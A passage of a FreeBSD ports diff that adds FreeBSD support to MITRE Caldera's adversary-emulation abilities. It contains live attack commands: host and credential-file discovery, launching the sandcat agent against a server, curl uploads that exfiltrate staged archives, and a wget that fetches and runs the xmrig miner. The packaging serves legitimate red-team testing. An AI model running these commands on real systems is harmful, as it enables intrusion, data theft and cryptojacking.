b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_6c91884e-11ec-422f-a6ed-e76774b0daac.yml new file mode 100644 index 000000000000..400b12042c7a --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_6c91884e-11ec-422f-a6ed-e76774b0daac.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/6c91884e-11ec-422f-a6ed-e76774b0daac.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/6c91884e-11ec-422f-a6ed-e76774b0daac.yml +@@ -14,7 +14,7 @@ + - source: host.print.file + edge: has_size + target: host.print.size +- linux: ++ freebsd,linux: + sh: + command: lpq -a + parsers: diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_6e1a53c0-7352-4899-be35-fa7f364d5722.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_6e1a53c0-7352-4899-be35-fa7f364d5722.yml new file mode 100644 index 000000000000..8daee82cafc7 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_6e1a53c0-7352-4899-be35-fa7f364d5722.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/6e1a53c0-7352-4899-be35-fa7f364d5722.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/6e1a53c0-7352-4899-be35-fa7f364d5722.yml +@@ -12,7 +12,7 @@ + sh: + command: | + pwd +- linux: ++ freebsd,linux: + sh: + command: | + pwd diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_830bb6ed-9594-4817-b1a1-c298c0f9f425.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_830bb6ed-9594-4817-b1a1-c298c0f9f425.yml new file mode 100644 index 000000000000..97137b959bd7 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_830bb6ed-9594-4817-b1a1-c298c0f9f425.yml @@ -0,0 +1,10 @@ +--- plugins/stockpile/data/abilities/discovery/830bb6ed-9594-4817-b1a1-c298c0f9f425.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/830bb6ed-9594-4817-b1a1-c298c0f9f425.yml +@@ -16,3 +16,7 @@ + sh: + command: | + which google-chrome ++ freebsd: ++ sh: ++ command: | ++ which chrome diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_85341c8c-4ecb-4579-8f53-43e3e91d7617.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_85341c8c-4ecb-4579-8f53-43e3e91d7617.yml new file mode 100644 index 000000000000..c48e5c1e638d --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_85341c8c-4ecb-4579-8f53-43e3e91d7617.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/discovery/85341c8c-4ecb-4579-8f53-43e3e91d7617.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/85341c8c-4ecb-4579-8f53-43e3e91d7617.yml +@@ -14,7 +14,7 @@ + parsers: + plugins.stockpile.app.parsers.ipaddr: + - source: remote.host.ip +- linux: ++ freebsd,linux: + sh: + command: arp -a + parsers: +@@ -25,4 +25,4 @@ + command: arp -a + parsers: + plugins.stockpile.app.parsers.ipaddr: +- - source: remote.host.ip +\ No newline at end of file ++ - source: remote.host.ip diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_9849d956-37ea-49f2-a8b5-f2ca080b315d.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_9849d956-37ea-49f2-a8b5-f2ca080b315d.yml new file mode 100644 index 000000000000..322ba3f70c2b --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_9849d956-37ea-49f2-a8b5-f2ca080b315d.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/9849d956-37ea-49f2-a8b5-f2ca080b315d.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/9849d956-37ea-49f2-a8b5-f2ca080b315d.yml +@@ -12,7 +12,7 @@ + sh: + command: | + which go +- linux: ++ freebsd,linux: + sh: + command: | + which go diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_a41c2324-8c63-4b15-b3c5-84f920d1f226.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_a41c2324-8c63-4b15-b3c5-84f920d1f226.yml new file mode 100644 index 000000000000..803f409699a0 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_a41c2324-8c63-4b15-b3c5-84f920d1f226.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/a41c2324-8c63-4b15-b3c5-84f920d1f226.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/a41c2324-8c63-4b15-b3c5-84f920d1f226.yml +@@ -6,7 +6,7 @@ + attack_id: T1083 + name: File and Directory Discovery + platforms: +- linux: ++ freebsd,linux: + sh: + command: 'find ~ -type f -name #{host.print.file} 2>/dev/null' + parsers: diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml new file mode 100644 index 000000000000..0c923801e46a --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml @@ -0,0 +1,13 @@ +--- plugins/stockpile/data/abilities/discovery/b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml +@@ -16,6 +16,10 @@ + sh: + command: | + python3 --version;python2 --version;python --version ++ freebsd: ++ sh: ++ command: | ++ pkg version -x python3 | cut -d '-' -f2 | awk '{print $1}' && pkg version -x python2 | cut -d '-' -f2 | awk '{print $1}' + windows: + cmd: + command: | diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_b6f545ef-f802-4537-b59d-2cb19831c8ed.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_b6f545ef-f802-4537-b59d-2cb19831c8ed.yml new file mode 100644 index 000000000000..0f35c6455ab4 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_b6f545ef-f802-4537-b59d-2cb19831c8ed.yml @@ -0,0 +1,13 @@ +--- plugins/stockpile/data/abilities/discovery/b6f545ef-f802-4537-b59d-2cb19831c8ed.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/b6f545ef-f802-4537-b59d-2cb19831c8ed.yml +@@ -8,7 +8,7 @@ + attack_id: T1016 + name: System Network Configuration Discovery + platforms: +- darwin: ++ darwin,freebsd: + sh: + command: | +- ifconfig | grep broadcast +\ No newline at end of file ++ ifconfig | grep broadcast diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_bd527b63-9f9e-46e0-9816-b8434d2b8989.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_bd527b63-9f9e-46e0-9816-b8434d2b8989.yml new file mode 100644 index 000000000000..bd45cfbb221f --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_bd527b63-9f9e-46e0-9816-b8434d2b8989.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/bd527b63-9f9e-46e0-9816-b8434d2b8989.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/bd527b63-9f9e-46e0-9816-b8434d2b8989.yml +@@ -12,7 +12,7 @@ + sh: + command: | + whoami +- linux: ++ freebsd,linux: + sh: + command: | + whoami diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_c0da588f-79f0-4263-8998-7496b1a40596.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_c0da588f-79f0-4263-8998-7496b1a40596.yml new file mode 100644 index 000000000000..01803f22087a --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_c0da588f-79f0-4263-8998-7496b1a40596.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/c0da588f-79f0-4263-8998-7496b1a40596.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/c0da588f-79f0-4263-8998-7496b1a40596.yml +@@ -15,7 +15,7 @@ + plugins.stockpile.app.parsers.basic: + - source: host.user.name + - source: domain.user.name +- linux: ++ freebsd,linux: + sh: + command: whoami + parsers: diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml new file mode 100644 index 000000000000..bd9b22860d08 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml +@@ -15,7 +15,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.user.name +- linux: ++ freebsd,linux: + sh: + command: | + cut -d: -f1 /etc/passwd | grep -v '_' | grep -v '#' diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_ce485320-41a4-42e8-a510-f5a8fe96a644.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_ce485320-41a4-42e8-a510-f5a8fe96a644.yml new file mode 100644 index 000000000000..7e128a92b5ad --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_ce485320-41a4-42e8-a510-f5a8fe96a644.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/ce485320-41a4-42e8-a510-f5a8fe96a644.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/ce485320-41a4-42e8-a510-f5a8fe96a644.yml +@@ -8,7 +8,7 @@ + attack_id: T1018 + name: Remote System Discovery + platforms: +- linux: ++ freebsd,linux: + sh: + command: host "#{target.org.domain}" | grep mail | grep -oE '[^ ]+$' | rev | cut -c 2- | rev + parsers: diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml new file mode 100644 index 000000000000..4dbd92f81fad --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml +@@ -12,7 +12,7 @@ + sh: + command: | + sudo ifconfig +- linux: ++ freebsd,linux: + sh: + command: | + sudo ifconfig diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml new file mode 100644 index 000000000000..deff7f08eed2 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml @@ -0,0 +1,20 @@ +--- plugins/stockpile/data/abilities/discovery/e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml +@@ -12,6 +12,10 @@ + sh: + command: | + pwpolicy getaccountpolicies ++ freebsd: ++ sh: ++ command: | ++ cat /etc/pam.d/passwd + linux: + sh: + command: | +@@ -19,4 +23,4 @@ + windows: + psh: + command: | +- net accounts +\ No newline at end of file ++ net accounts diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_fa6e8607-e0b1-425d-8924-9b894da5a002.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_fa6e8607-e0b1-425d-8924-9b894da5a002.yml new file mode 100644 index 000000000000..15613cb57462 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_fa6e8607-e0b1-425d-8924-9b894da5a002.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/fa6e8607-e0b1-425d-8924-9b894da5a002.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/fa6e8607-e0b1-425d-8924-9b894da5a002.yml +@@ -15,7 +15,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.current.time +- linux: ++ freebsd,linux: + sh: + command: | + date -u +"%Y-%m-%dT%H:%M:%SZ" diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_execution_b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_execution_b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml new file mode 100644 index 000000000000..336bdd598724 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_execution_b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/execution/b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/execution/b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml +@@ -14,7 +14,7 @@ + pkill -f sandcat + payloads: + - sandcat.go +- linux: ++ freebsd,linux: + sh: + command: | + nohup ./sandcat.go -server #{server} & diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_0582dc26-e0cf-4645-88cf-f37a02279976.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_0582dc26-e0cf-4645-88cf-f37a02279976.yml new file mode 100644 index 000000000000..005748e3ee73 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_0582dc26-e0cf-4645-88cf-f37a02279976.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/0582dc26-e0cf-4645-88cf-f37a02279976.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/0582dc26-e0cf-4645-88cf-f37a02279976.yml +@@ -10,7 +10,7 @@ + attack_id: T1567.001 + name: Exfiltration to Code Repository + platforms: +- linux: ++ freebsd,linux: + sh: + command: | # Temporary file needed to avoid curl length restrictions + GHUser="#{github.user.name}"; diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_110cea7a-5b03-4443-92ee-7ccefaead451.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_110cea7a-5b03-4443-92ee-7ccefaead451.yml new file mode 100644 index 000000000000..0b273cc3e81e --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_110cea7a-5b03-4443-92ee-7ccefaead451.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/110cea7a-5b03-4443-92ee-7ccefaead451.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/110cea7a-5b03-4443-92ee-7ccefaead451.yml +@@ -6,7 +6,7 @@ + attack_id: T1029 + name: Scheduled Transfer + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + crontab -l > /tmp/origcron; +@@ -46,4 +46,4 @@ + + Register-ScheduledTask -TaskName "Scheduled exfiltration" -Trigger $trigger -Action $action; + cleanup: | +- Unregister-ScheduledTask -TaskName "Scheduled exfiltration" -Confirm:$false; +\ No newline at end of file ++ Unregister-ScheduledTask -TaskName "Scheduled exfiltration" -Confirm:$false; diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_2f90d4de-2612-4468-9251-b220e3727452.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_2f90d4de-2612-4468-9251-b220e3727452.yml new file mode 100644 index 000000000000..7314e2e0e6ab --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_2f90d4de-2612-4468-9251-b220e3727452.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/2f90d4de-2612-4468-9251-b220e3727452.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/2f90d4de-2612-4468-9251-b220e3727452.yml +@@ -6,7 +6,7 @@ + attack_id: T1560.001 + name: 'Archive Collected Data: Archive via Utility' + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + tar -czf #{host.dir.git}.tar.gz -C "#{host.dir.git}" .; printf #{host.dir.git}.tar.gz; diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_300157e5-f4ad-4569-b533-9d1fa0e74d74.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_300157e5-f4ad-4569-b533-9d1fa0e74d74.yml new file mode 100644 index 000000000000..69160b87e16a --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_300157e5-f4ad-4569-b533-9d1fa0e74d74.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/300157e5-f4ad-4569-b533-9d1fa0e74d74.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/300157e5-f4ad-4569-b533-9d1fa0e74d74.yml +@@ -17,7 +17,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.dir.compress +- linux: ++ freebsd,linux: + sh: + command: | + tar -P -zcf #{host.dir.staged}.tar.gz #{host.dir.staged} && echo #{host.dir.staged}.tar.gz +@@ -38,4 +38,4 @@ + - source: host.dir.compress + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.staged +\ No newline at end of file ++ - source: host.dir.staged diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml new file mode 100644 index 000000000000..c9f92c4ed759 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml +@@ -43,7 +43,7 @@ + $result = $sr.ReadToEnd(); + $result; + $res.close(); +- linux: ++ freebsd,linux: + sh: + command: | + LocalFile='#{host.dir.compress}'; +@@ -55,4 +55,4 @@ + --data-binary @#{host.dir.compress} + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.compress +\ No newline at end of file ++ - source: host.dir.compress diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_4a1120a5-971c-457f-bb07-60641b4723fd.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_4a1120a5-971c-457f-bb07-60641b4723fd.yml new file mode 100644 index 000000000000..28fa5c84164e --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_4a1120a5-971c-457f-bb07-60641b4723fd.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/4a1120a5-971c-457f-bb07-60641b4723fd.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/4a1120a5-971c-457f-bb07-60641b4723fd.yml +@@ -6,7 +6,7 @@ + attack_id: T1567.001 + name: Exfiltration to Code Repository + platforms: +- linux: # https://docs.github.com/en/rest/reference/repos#contents ++ freebsd,linux: # https://docs.github.com/en/rest/reference/repos#contents + sh: + command: | + GHUser="#{github.user.name}"; diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_5c5b0392-1daa-45e1-967c-2f361ce78849.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_5c5b0392-1daa-45e1-967c-2f361ce78849.yml new file mode 100644 index 000000000000..26fd685ed8fc --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_5c5b0392-1daa-45e1-967c-2f361ce78849.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/5c5b0392-1daa-45e1-967c-2f361ce78849.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/5c5b0392-1daa-45e1-967c-2f361ce78849.yml +@@ -11,7 +11,7 @@ + attack_id: T1030 + name: Data Transfer Size Limits + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase '#{host.archive.password}' > #{host.dir.staged}.tar.gz.gpg; diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_a201bec2-a193-4b58-bf0e-57fa621da474.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_a201bec2-a193-4b58-bf0e-57fa621da474.yml new file mode 100644 index 000000000000..d31c5b4033ef --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_a201bec2-a193-4b58-bf0e-57fa621da474.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/a201bec2-a193-4b58-bf0e-57fa621da474.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/a201bec2-a193-4b58-bf0e-57fa621da474.yml +@@ -7,7 +7,7 @@ + attack_id: T1567.001 + name: Exfiltration to Code Repository + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + GHUser="#{github.user.name}"; +@@ -62,4 +62,4 @@ + }; + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.staged +\ No newline at end of file ++ - source: host.dir.staged diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_ba0deadb-97ac-4a4c-aa81-21912fc90980.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_ba0deadb-97ac-4a4c-aa81-21912fc90980.yml new file mode 100644 index 000000000000..5fc9da37edc5 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_ba0deadb-97ac-4a4c-aa81-21912fc90980.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/ba0deadb-97ac-4a4c-aa81-21912fc90980.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/ba0deadb-97ac-4a4c-aa81-21912fc90980.yml +@@ -9,7 +9,7 @@ + attack_id: T1537 + name: 'Transfer Data to Cloud Account' + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + LocalFile='#{host.dir.compress}'; diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_d754878c-17dd-46dc-891c-a993f8a10336.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_d754878c-17dd-46dc-891c-a993f8a10336.yml new file mode 100644 index 000000000000..53bbfc44e9e4 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_d754878c-17dd-46dc-891c-a993f8a10336.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/d754878c-17dd-46dc-891c-a993f8a10336.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/d754878c-17dd-46dc-891c-a993f8a10336.yml +@@ -8,7 +8,7 @@ + attack_id: T1048.003 + name: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + LocalFile='#{host.dir.compress}'; +@@ -35,4 +35,4 @@ + $requestStream.Dispose(); + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.compress +\ No newline at end of file ++ - source: host.dir.compress diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml new file mode 100644 index 000000000000..36cfe29cab10 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml +@@ -8,7 +8,7 @@ + attack_id: T1567.002 + name: 'Exfiltration to Cloud Storage' + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + LocalFile='#{host.dir.compress}'; +@@ -30,4 +30,4 @@ + aws s3 rm s3://#{s3.source.name}/$RemoteName; + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.compress +\ No newline at end of file ++ - source: host.dir.compress diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml new file mode 100644 index 000000000000..0035807bbc2d --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_exfiltration_ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml +@@ -12,7 +12,7 @@ + sh: + command: | + curl -F "data=@#{host.dir.compress}" --header "X-Request-ID: `hostname`-#{paw}" #{server}/file/upload +- linux: ++ freebsd,linux: + sh: + command: | + curl -F "data=@#{host.dir.compress}" --header "X-Request-ID: `hostname`-#{paw}" #{server}/file/upload diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml new file mode 100644 index 000000000000..e01052cff30e --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml @@ -0,0 +1,22 @@ +--- plugins/stockpile/data/abilities/impact/46da2385-cf37-49cb-ba4b-a739c7a19de4.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/impact/46da2385-cf37-49cb-ba4b-a739c7a19de4.yml +@@ -19,6 +19,19 @@ + cleanup: | + rm -rf ./xmrig*; + timeout: 120 ++ freebsd: ++ sh: ++ # FreeBSD should include `timeout` making this easy. ++ # We expect timeout to return a 124, which needs to then return a 0 ++ # to make Caldera UI happy. ++ command: | ++ wget https://github.com/xmrig/xmrig/releases/download/v6.19.2/xmrig-6.19.2-freebsd-static-x64.tar.gz; ++ tar -xf xmrig-6.19.2-freebsd-static-x64.tar.gz; ++ timeout 60 ./xmrig-6.19.2/xmrig; ++ [ $? -eq 124 ] ++ cleanup: | ++ rm -rf ./xmrig*; ++ timeout: 120 + darwin: + sh: + # MacOS does not include timeout, but can mimic the process with screen. diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_impact_47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_impact_47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml new file mode 100644 index 000000000000..b5ef72e367f9 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_impact_47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/impact/47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/impact/47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml +@@ -12,7 +12,7 @@ + sh: + command: | + echo "proof that this machine was hacked." > message.txt +- linux: ++ freebsd,linux: + sh: + command: | + echo "proof that this machine was hacked." > message.txt diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_impact_55f9600a-756f-496b-b27f-682052dc429c.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_impact_55f9600a-756f-496b-b27f-682052dc429c.yml new file mode 100644 index 000000000000..89f970a49053 --- /dev/null +++ 